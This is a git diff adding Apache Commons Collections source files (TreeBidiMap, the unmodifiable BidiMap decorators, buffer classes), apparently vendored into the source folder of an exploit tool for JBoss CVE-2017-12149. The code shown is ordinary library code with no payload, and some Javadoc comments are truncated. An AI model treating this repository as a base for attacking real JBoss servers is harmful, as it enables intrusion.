+ * Gets the string form of this map as per AbstractMap.
+ *
+ * @param index the KEY or VALUE int
+ * @return the string form of this map
+ */
+ private String doToString(final int type) {
+ if (nodeCount == 0) {
+ return "{}";
+ }
+ StringBuffer buf = new StringBuffer(nodeCount * 32);
+ buf.append('{');
+ MapIterator it = new ViewMapIterator(this, type);
+ boolean hasNext = it.hasNext();
+ while (hasNext) {
+ Object key = it.next();
+ Object value = it.getValue();
+ buf.append(key == this ? "(this Map)" : key)
+ .append('=')
+ .append(value == this ? "(this Map)" : value);
+
+ hasNext = it.hasNext();
+ if (hasNext) {
+ buf.append(", ");
+ }
+ }
+
+ buf.append('}');
+ return buf.toString();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * A view of this map.
+ */
+ static class View extends AbstractSet {
+
+ /** The parent map. */
+ protected final TreeBidiMap main;
+ /** Whether to return KEY or VALUE order. */
+ protected final int orderType;
+ /** Whether to return KEY, VALUE, MAPENTRY or INVERSEMAPENTRY data. */
+ protected final int dataType;
+
+ /**
+ * Constructor.
+ *
+ * @param main the main map
+ * @param orderType the KEY or VALUE int for the order
+ * @param dataType the KEY, VALUE, MAPENTRY or INVERSEMAPENTRY int
+ */
+ View(final TreeBidiMap main, final int orderType, final int dataType) {
+ super();
+ this.main = main;
+ this.orderType = orderType;
+ this.dataType = dataType;
+ }
+
+ public Iterator iterator() {
+ return new ViewIterator(main, orderType, dataType);
+ }
+
+ public int size() {
+ return main.size();
+ }
+
+ public boolean contains(final Object obj) {
+ checkNonNullComparable(obj, dataType);
+ return (main.lookup((Comparable) obj, dataType) != null);
+ }
+
+ public boolean remove(final Object obj) {
+ return (main.doRemove((Comparable) obj, dataType) != null);
+ }
+
+ public void clear() {
+ main.clear();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * An iterator over the map.
+ */
+ static class ViewIterator implements OrderedIterator {
+
+ /** The parent map. */
+ protected final TreeBidiMap main;
+ /** Whether to return KEY or VALUE order. */
+ protected final int orderType;
+ /** Whether to return KEY, VALUE, MAPENTRY or INVERSEMAPENTRY data. */
+ protected final int dataType;
+ /** The last node returned by the iterator. */
+ protected Node lastReturnedNode;
+ /** The next node to be returned by the iterator. */
+ protected Node nextNode;
+ /** The previous node in the sequence returned by the iterator. */
+ protected Node previousNode;
+ /** The modification count. */
+ private int expectedModifications;
+
+ /**
+ * Constructor.
+ *
+ * @param main the main map
+ * @param orderType the KEY or VALUE int for the order
+ * @param dataType the KEY, VALUE, MAPENTRY or INVERSEMAPENTRY int
+ */
+ ViewIterator(final TreeBidiMap main, final int orderType, final int dataType) {
+ super();
+ this.main = main;
+ this.orderType = orderType;
+ this.dataType = dataType;
+ expectedModifications = main.modifications;
+ nextNode = leastNode(main.rootNode[orderType], orderType);
+ lastReturnedNode = null;
+ previousNode = null;
+ }
+
+ public final boolean hasNext() {
+ return (nextNode != null);
+ }
+
+ public final Object next() {
+ if (nextNode == null) {
+ throw new NoSuchElementException();
+ }
+ if (main.modifications != expectedModifications) {
+ throw new ConcurrentModificationException();
+ }
+ lastReturnedNode = nextNode;
+ previousNode = nextNode;
+ nextNode = main.nextGreater(nextNode, orderType);
+ return doGetData();
+ }
+
+ public boolean hasPrevious() {
+ return (previousNode != null);
+ }
+
+ public Object previous() {
+ if (previousNode == null) {
+ throw new NoSuchElementException();
+ }
+ if (main.modifications != expectedModifications) {
+ throw new ConcurrentModificationException();
+ }
+ nextNode = lastReturnedNode;
+ if (nextNode == null) {
+ nextNode = main.nextGreater(previousNode, orderType);
+ }
+ lastReturnedNode = previousNode;
+ previousNode = main.nextSmaller(previousNode, orderType);
+ return doGetData();
+ }
+
+ /**
+ * Gets the data value for the lastReturnedNode field.
+ * @return the data value
+ */
+ protected Object doGetData() {
+ switch (dataType) {
+ case KEY:
+ return lastReturnedNode.getKey();
+ case VALUE:
+ return lastReturnedNode.getValue();
+ case MAPENTRY:
+ return lastReturnedNode;
+ case INVERSEMAPENTRY:
+ return new UnmodifiableMapEntry(lastReturnedNode.getValue(), lastReturnedNode.getKey());
+ }
+ return null;
+ }
+
+ public final void remove() {
+ if (lastReturnedNode == null) {
+ throw new IllegalStateException();
+ }
+ if (main.modifications != expectedModifications) {
+ throw new ConcurrentModificationException();
+ }
+ main.doRedBlackDelete(lastReturnedNode);
+ expectedModifications++;
+ lastReturnedNode = null;
+ if (nextNode == null) {
+ previousNode = main.greatestNode(main.rootNode[orderType], orderType);
+ } else {
+ previousNode = main.nextSmaller(nextNode, orderType);
+ }
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * An iterator over the map.
+ */
+ static class ViewMapIterator extends ViewIterator implements OrderedMapIterator {
+
+ private final int oppositeType;
+
+ /**
+ * Constructor.
+ *
+ * @param main the main map
+ * @param orderType the KEY or VALUE int for the order
+ */
+ ViewMapIterator(final TreeBidiMap main, final int orderType) {
+ super(main, orderType, orderType);
+ this.oppositeType = oppositeIndex(dataType);
+ }
+
+ public Object getKey() {
+ if (lastReturnedNode == null) {
+ throw new IllegalStateException("Iterator getKey() can only be called after next() and before remove()");
+ }
+ return lastReturnedNode.getData(dataType);
+ }
+
+ public Object getValue() {
+ if (lastReturnedNode == null) {
+ throw new IllegalStateException("Iterator getValue() can only be called after next() and before remove()");
+ }
+ return lastReturnedNode.getData(oppositeType);
+ }
+
+ public Object setValue(final Object obj) {
+ throw new UnsupportedOperationException();
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * A view of this map.
+ */
+ static class EntryView extends View {
+
+ private final int oppositeType;
+
+ /**
+ * Constructor.
+ *
+ * @param main the main map
+ * @param orderType the KEY or VALUE int for the order
+ * @param dataType the MAPENTRY or INVERSEMAPENTRY int for the returned data
+ */
+ EntryView(final TreeBidiMap main, final int orderType, final int dataType) {
+ super(main, orderType, dataType);
+ this.oppositeType = main.oppositeIndex(orderType);
+ }
+
+ public boolean contains(Object obj) {
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ Map.Entry entry = (Map.Entry) obj;
+ Object value = entry.getValue();
+ Node node = main.lookup((Comparable) entry.getKey(), orderType);
+ return (node != null && node.getData(oppositeType).equals(value));
+ }
+
+ public boolean remove(Object obj) {
+ if (obj instanceof Map.Entry == false) {
+ return false;
+ }
+ Map.Entry entry = (Map.Entry) obj;
+ Object value = entry.getValue();
+ Node node = main.lookup((Comparable) entry.getKey(), orderType);
+ if (node != null && node.getData(oppositeType).equals(value)) {
+ main.doRedBlackDelete(node);
+ return true;
+ }
+ return false;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * A node used to store the data.
+ */
+ static class Node implements Map.Entry, KeyValue {
+
+ private Comparable[] data;
+ private Node[] leftNode;
+ private Node[] rightNode;
+ private Node[] parentNode;
+ private boolean[] blackColor;
+ private int hashcodeValue;
+ private boolean calculatedHashCode;
+
+ /**
+ * Make a new cell with given key and value, and with null
+ * links, and black (true) colors.
+ *
+ * @param key
+ * @param value
+ */
+ Node(final Comparable key, final Comparable value) {
+ super();
+ data = new Comparable[] { key, value };
+ leftNode = new Node[2];
+ rightNode = new Node[2];
+ parentNode = new Node[2];
+ blackColor = new boolean[] { true, true };
+ calculatedHashCode = false;
+ }
+
+ /**
+ * Get the specified data.
+ *
+ * @param index the KEY or VALUE int
+ * @return the key or value
+ */
+ private Comparable getData(final int index) {
+ return data[index];
+ }
+
+ /**
+ * Set this node's left node.
+ *
+ * @param node the new left node
+ * @param index the KEY or VALUE int
+ */
+ private void setLeft(final Node node, final int index) {
+ leftNode[index] = node;
+ }
+
+ /**
+ * Get the left node.
+ *
+ * @param index the KEY or VALUE int
+ * @return the left node, may be null
+ */
+ private Node getLeft(final int index) {
+ return leftNode[index];
+ }
+
+ /**
+ * Set this node's right node.
+ *
+ * @param node the new right node
+ * @param index the KEY or VALUE int
+ */
+ private void setRight(final Node node, final int index) {
+ rightNode[index] = node;
+ }
+
+ /**
+ * Get the right node.
+ *
+ * @param index the KEY or VALUE int
+ * @return the right node, may be null
+ */
+ private Node getRight(final int index) {
+ return rightNode[index];
+ }
+
+ /**
+ * Set this node's parent node.
+ *
+ * @param node the new parent node
+ * @param index the KEY or VALUE int
+ */
+ private void setParent(final Node node, final int index) {
+ parentNode[index] = node;
+ }
+
+ /**
+ * Get the parent node.
+ *
+ * @param index the KEY or VALUE int
+ * @return the parent node, may be null
+ */
+ private Node getParent(final int index) {
+ return parentNode[index];
+ }
+
+ /**
+ * Exchange colors with another node.
+ *
+ * @param node the node to swap with
+ * @param index the KEY or VALUE int
+ */
+ private void swapColors(final Node node, final int index) {
+ // Swap colors -- old hacker's trick
+ blackColor[index] ^= node.blackColor[index];
+ node.blackColor[index] ^= blackColor[index];
+ blackColor[index] ^= node.blackColor[index];
+ }
+
+ /**
+ * Is this node black?
+ *
+ * @param index the KEY or VALUE int
+ * @return true if black (which is represented as a true boolean)
+ */
+ private boolean isBlack(final int index) {
+ return blackColor[index];
+ }
+
+ /**
+ * Is this node red?
+ *
+ * @param index the KEY or VALUE int
+ * @return true if non-black
+ */
+ private boolean isRed(final int index) {
+ return !blackColor[index];
+ }
+
+ /**
+ * Make this node black.
+ *
+ * @param index the KEY or VALUE int
+ */
+ private void setBlack(final int index) {
+ blackColor[index] = true;
+ }
+
+ /**
+ * Make this node red.
+ *
+ * @param index the KEY or VALUE int
+ */
+ private void setRed(final int index) {
+ blackColor[index] = false;
+ }
+
+ /**
+ * Make this node the same color as another
+ *
+ * @param node the node whose color we're adopting
+ * @param index the KEY or VALUE int
+ */
+ private void copyColor(final Node node, final int index) {
+ blackColor[index] = node.blackColor[index];
+ }
+
+ //-------------------------------------------------------------------
+ /**
+ * Gets the key.
+ *
+ * @return the key corresponding to this entry.
+ */
+ public Object getKey() {
+ return data[KEY];
+ }
+
+ /**
+ * Gets the value.
+ *
+ * @return the value corresponding to this entry.
+ */
+ public Object getValue() {
+ return data[VALUE];
+ }
+
+ /**
+ * Optional operation that is not permitted in this implementation
+ *
+ * @param ignored
+ * @return does not return
+ * @throws UnsupportedOperationException always
+ */
+ public Object setValue(final Object ignored)
+ throws UnsupportedOperationException {
+ throw new UnsupportedOperationException(
+ "Map.Entry.setValue is not supported");
+ }
+
+ /**
+ * Compares the specified object with this entry for equality.
+ * Returns true if the given object is also a map entry and
+ * the two entries represent the same mapping.
+ *
+ * @param obj the object to be compared for equality with this entry.
+ * @return true if the specified object is equal to this entry.
+ */
+ public boolean equals(final Object obj) {
+ if (obj == this) {
+ return true;
+ }
+ if (!(obj instanceof Map.Entry)) {
+ return false;
+ }
+ Map.Entry e = (Map.Entry) obj;
+ return data[KEY].equals(e.getKey()) && data[VALUE].equals(e.getValue());
+ }
+
+ /**
+ * @return the hash code value for this map entry.
+ */
+ public int hashCode() {
+ if (!calculatedHashCode) {
+ hashcodeValue = data[KEY].hashCode() ^ data[VALUE].hashCode();
+ calculatedHashCode = true;
+ }
+ return hashcodeValue;
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * A node used to store the data.
+ */
+ static class Inverse implements OrderedBidiMap {
+
+ /** The parent map. */
+ private final TreeBidiMap main;
+ /** Store the keySet once created. */
+ private Set keySet;
+ /** Store the valuesSet once created. */
+ private Set valuesSet;
+ /** Store the entrySet once created. */
+ private Set entrySet;
+
+ /**
+ * Constructor.
+ * @param main the main map
+ */
+ Inverse(final TreeBidiMap main) {
+ super();
+ this.main = main;
+ }
+
+ public int size() {
+ return main.size();
+ }
+
+ public boolean isEmpty() {
+ return main.isEmpty();
+ }
+
+ public Object get(final Object key) {
+ return main.getKey(key);
+ }
+
+ public Object getKey(final Object value) {
+ return main.get(value);
+ }
+
+ public boolean containsKey(final Object key) {
+ return main.containsValue(key);
+ }
+
+ public boolean containsValue(final Object value) {
+ return main.containsKey(value);
+ }
+
+ public Object firstKey() {
+ if (main.nodeCount == 0) {
+ throw new NoSuchElementException("Map is empty");
+ }
+ return main.leastNode(main.rootNode[VALUE], VALUE).getValue();
+ }
+
+ public Object lastKey() {
+ if (main.nodeCount == 0) {
+ throw new NoSuchElementException("Map is empty");
+ }
+ return main.greatestNode(main.rootNode[VALUE], VALUE).getValue();
+ }
+
+ public Object nextKey(Object key) {
+ checkKey(key);
+ Node node = main.nextGreater(main.lookup((Comparable) key, VALUE), VALUE);
+ return (node == null ? null : node.getValue());
+ }
+
+ public Object previousKey(Object key) {
+ checkKey(key);
+ Node node = main.nextSmaller(main.lookup((Comparable) key, VALUE), VALUE);
+ return (node == null ? null : node.getValue());
+ }
+
+ public Object put(final Object key, final Object value) {
+ return main.doPut((Comparable) value, (Comparable) key, VALUE);
+ }
+
+ public void putAll(Map map) {
+ Iterator it = map.entrySet().iterator();
+ while (it.hasNext()) {
+ Map.Entry entry = (Map.Entry) it.next();
+ put(entry.getKey(), entry.getValue());
+ }
+ }
+
+ public Object remove(final Object key) {
+ return main.removeValue(key);
+ }
+
+ public Object removeValue(final Object value) {
+ return main.remove(value);
+ }
+
+ public void clear() {
+ main.clear();
+ }
+
+ public Set keySet() {
+ if (keySet == null) {
+ keySet = new View(main, VALUE, VALUE);
+ }
+ return keySet;
+ }
+
+ public Collection values() {
+ if (valuesSet == null) {
+ valuesSet = new View(main, VALUE, KEY);
+ }
+ return valuesSet;
+ }
+
+ public Set entrySet() {
+ if (entrySet == null) {
+ return new EntryView(main, VALUE, INVERSEMAPENTRY);
+ }
+ return entrySet;
+ }
+
+ public MapIterator mapIterator() {
+ if (isEmpty()) {
+ return EmptyOrderedMapIterator.INSTANCE;
+ }
+ return new ViewMapIterator(main, VALUE);
+ }
+
+ public OrderedMapIterator orderedMapIterator() {
+ if (isEmpty()) {
+ return EmptyOrderedMapIterator.INSTANCE;
+ }
+ return new ViewMapIterator(main, VALUE);
+ }
+
+ public BidiMap inverseBidiMap() {
+ return main;
+ }
+
+ public OrderedBidiMap inverseOrderedBidiMap() {
+ return main;
+ }
+
+ public boolean equals(Object obj) {
+ return main.doEquals(obj, VALUE);
+ }
+
+ public int hashCode() {
+ return main.doHashCode(VALUE);
+ }
+
+ public String toString() {
+ return main.doToString(VALUE);
+ }
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.java"
new file mode 100644
index 0000000..c5cff8c
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableBidiMap.java"
@@ -0,0 +1,121 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bidimap;
+
+import java.util.Collection;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.BidiMap;
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.collection.UnmodifiableCollection;
+import org.apache.commons.collections.iterators.UnmodifiableMapIterator;
+import org.apache.commons.collections.map.UnmodifiableEntrySet;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Decorates another
+ * If the map passed in is already unmodifiable, it is returned.
+ *
+ * @param map the map to decorate, must not be null
+ * @return an unmodifiable BidiMap
+ * @throws IllegalArgumentException if map is null
+ */
+ public static BidiMap decorate(BidiMap map) {
+ if (map instanceof Unmodifiable) {
+ return map;
+ }
+ return new UnmodifiableBidiMap(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ private UnmodifiableBidiMap(BidiMap map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object put(Object key, Object value) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void putAll(Map mapToCopy) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object remove(Object key) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Set entrySet() {
+ Set set = super.entrySet();
+ return UnmodifiableEntrySet.decorate(set);
+ }
+
+ public Set keySet() {
+ Set set = super.keySet();
+ return UnmodifiableSet.decorate(set);
+ }
+
+ public Collection values() {
+ Collection coll = super.values();
+ return UnmodifiableCollection.decorate(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ public Object removeValue(Object value) {
+ throw new UnsupportedOperationException();
+ }
+
+ public MapIterator mapIterator() {
+ MapIterator it = getBidiMap().mapIterator();
+ return UnmodifiableMapIterator.decorate(it);
+ }
+
+ public BidiMap inverseBidiMap() {
+ if (inverse == null) {
+ inverse = new UnmodifiableBidiMap(getBidiMap().inverseBidiMap());
+ inverse.inverse = this;
+ }
+ return inverse;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.java"
new file mode 100644
index 0000000..62d1d38
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableOrderedBidiMap.java"
@@ -0,0 +1,132 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bidimap;
+
+import java.util.Collection;
+import java.util.Map;
+import java.util.Set;
+
+import org.apache.commons.collections.BidiMap;
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.OrderedBidiMap;
+import org.apache.commons.collections.OrderedMapIterator;
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.collection.UnmodifiableCollection;
+import org.apache.commons.collections.iterators.UnmodifiableOrderedMapIterator;
+import org.apache.commons.collections.map.UnmodifiableEntrySet;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Decorates another
+ * If the map passed in is already unmodifiable, it is returned.
+ *
+ * @param map the map to decorate, must not be null
+ * @return an unmodifiable OrderedBidiMap
+ * @throws IllegalArgumentException if map is null
+ */
+ public static OrderedBidiMap decorate(OrderedBidiMap map) {
+ if (map instanceof Unmodifiable) {
+ return map;
+ }
+ return new UnmodifiableOrderedBidiMap(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ private UnmodifiableOrderedBidiMap(OrderedBidiMap map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object put(Object key, Object value) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void putAll(Map mapToCopy) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object remove(Object key) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Set entrySet() {
+ Set set = super.entrySet();
+ return UnmodifiableEntrySet.decorate(set);
+ }
+
+ public Set keySet() {
+ Set set = super.keySet();
+ return UnmodifiableSet.decorate(set);
+ }
+
+ public Collection values() {
+ Collection coll = super.values();
+ return UnmodifiableCollection.decorate(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ public Object removeValue(Object value) {
+ throw new UnsupportedOperationException();
+ }
+
+ public MapIterator mapIterator() {
+ return orderedMapIterator();
+ }
+
+ public BidiMap inverseBidiMap() {
+ return inverseOrderedBidiMap();
+ }
+
+ //-----------------------------------------------------------------------
+ public OrderedMapIterator orderedMapIterator() {
+ OrderedMapIterator it = getOrderedBidiMap().orderedMapIterator();
+ return UnmodifiableOrderedMapIterator.decorate(it);
+ }
+
+ public OrderedBidiMap inverseOrderedBidiMap() {
+ if (inverse == null) {
+ inverse = new UnmodifiableOrderedBidiMap(getOrderedBidiMap().inverseOrderedBidiMap());
+ inverse.inverse = this;
+ }
+ return inverse;
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.java"
new file mode 100644
index 0000000..3375d9f
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/UnmodifiableSortedBidiMap.java"
@@ -0,0 +1,155 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.bidimap;
+
+import java.util.Collection;
+import java.util.Map;
+import java.util.Set;
+import java.util.SortedMap;
+
+import org.apache.commons.collections.BidiMap;
+import org.apache.commons.collections.MapIterator;
+import org.apache.commons.collections.OrderedBidiMap;
+import org.apache.commons.collections.OrderedMapIterator;
+import org.apache.commons.collections.SortedBidiMap;
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.collection.UnmodifiableCollection;
+import org.apache.commons.collections.iterators.UnmodifiableOrderedMapIterator;
+import org.apache.commons.collections.map.UnmodifiableEntrySet;
+import org.apache.commons.collections.map.UnmodifiableSortedMap;
+import org.apache.commons.collections.set.UnmodifiableSet;
+
+/**
+ * Decorates another
+ * If the map passed in is already unmodifiable, it is returned.
+ *
+ * @param map the map to decorate, must not be null
+ * @return an unmodifiable SortedBidiMap
+ * @throws IllegalArgumentException if map is null
+ */
+ public static SortedBidiMap decorate(SortedBidiMap map) {
+ if (map instanceof Unmodifiable) {
+ return map;
+ }
+ return new UnmodifiableSortedBidiMap(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ private UnmodifiableSortedBidiMap(SortedBidiMap map) {
+ super(map);
+ }
+
+ //-----------------------------------------------------------------------
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object put(Object key, Object value) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void putAll(Map mapToCopy) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object remove(Object key) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Set entrySet() {
+ Set set = super.entrySet();
+ return UnmodifiableEntrySet.decorate(set);
+ }
+
+ public Set keySet() {
+ Set set = super.keySet();
+ return UnmodifiableSet.decorate(set);
+ }
+
+ public Collection values() {
+ Collection coll = super.values();
+ return UnmodifiableCollection.decorate(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ public Object removeValue(Object value) {
+ throw new UnsupportedOperationException();
+ }
+
+ public MapIterator mapIterator() {
+ return orderedMapIterator();
+ }
+
+ public BidiMap inverseBidiMap() {
+ return inverseSortedBidiMap();
+ }
+
+ //-----------------------------------------------------------------------
+ public OrderedMapIterator orderedMapIterator() {
+ OrderedMapIterator it = getSortedBidiMap().orderedMapIterator();
+ return UnmodifiableOrderedMapIterator.decorate(it);
+ }
+
+ public OrderedBidiMap inverseOrderedBidiMap() {
+ return inverseSortedBidiMap();
+ }
+
+ //-----------------------------------------------------------------------
+ public SortedBidiMap inverseSortedBidiMap() {
+ if (inverse == null) {
+ inverse = new UnmodifiableSortedBidiMap(getSortedBidiMap().inverseSortedBidiMap());
+ inverse.inverse = this;
+ }
+ return inverse;
+ }
+
+ public SortedMap subMap(Object fromKey, Object toKey) {
+ SortedMap sm = getSortedBidiMap().subMap(fromKey, toKey);
+ return UnmodifiableSortedMap.decorate(sm);
+ }
+
+ public SortedMap headMap(Object toKey) {
+ SortedMap sm = getSortedBidiMap().headMap(toKey);
+ return UnmodifiableSortedMap.decorate(sm);
+ }
+
+ public SortedMap tailMap(Object fromKey) {
+ SortedMap sm = getSortedBidiMap().tailMap(fromKey);
+ return UnmodifiableSortedMap.decorate(sm);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/package.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/package.html"
new file mode 100644
index 0000000..129fefc
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/bidimap/package.html"
@@ -0,0 +1,47 @@
+
+
+
+This package contains implementations of the
+{@link org.apache.commons.collections.BidiMap BidiMap},
+{@link org.apache.commons.collections.OrderedBidiMap OrderedBidiMap} and
+{@link org.apache.commons.collections.SortedBidiMap SortedBidiMap} interfaces.
+A BidiMap is an extension to Map that allows keys and values to be looked up with equal ease.
+One example usage is a system communicating to a legacy datasource that must convert codes
+from the new format to the old format and vice versa.
+
+The following implementations are provided in the package:
+
+The following decorators are provided in the package:
+
+ * Methods are forwarded directly to the decorated buffer.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.4 $ $Date: 2004/06/02 21:53:02 $
+ *
+ * @author Stephen Colebourne
+ */
+public abstract class AbstractBufferDecorator extends AbstractCollectionDecorator implements Buffer {
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ * @since Commons Collections 3.1
+ */
+ protected AbstractBufferDecorator() {
+ super();
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param buffer the buffer to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ protected AbstractBufferDecorator(Buffer buffer) {
+ super(buffer);
+ }
+
+ /**
+ * Gets the buffer being decorated.
+ *
+ * @return the decorated buffer
+ */
+ protected Buffer getBuffer() {
+ return (Buffer) getCollection();
+ }
+
+ //-----------------------------------------------------------------------
+ public Object get() {
+ return getBuffer().get();
+ }
+
+ public Object remove() {
+ return getBuffer().remove();
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/BlockingBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/BlockingBuffer.java"
new file mode 100644
index 0000000..6b41944
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/BlockingBuffer.java"
@@ -0,0 +1,116 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.buffer;
+
+import java.util.Collection;
+
+import org.apache.commons.collections.Buffer;
+import org.apache.commons.collections.BufferUnderflowException;
+
+/**
+ * Decorates another
+ * If either
+ * When one or more entries are added to an empty
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ * @author Janek Bogucki
+ * @author Phil Steitz
+ */
+public class BlockingBuffer extends SynchronizedBuffer {
+
+ /** Serialization version */
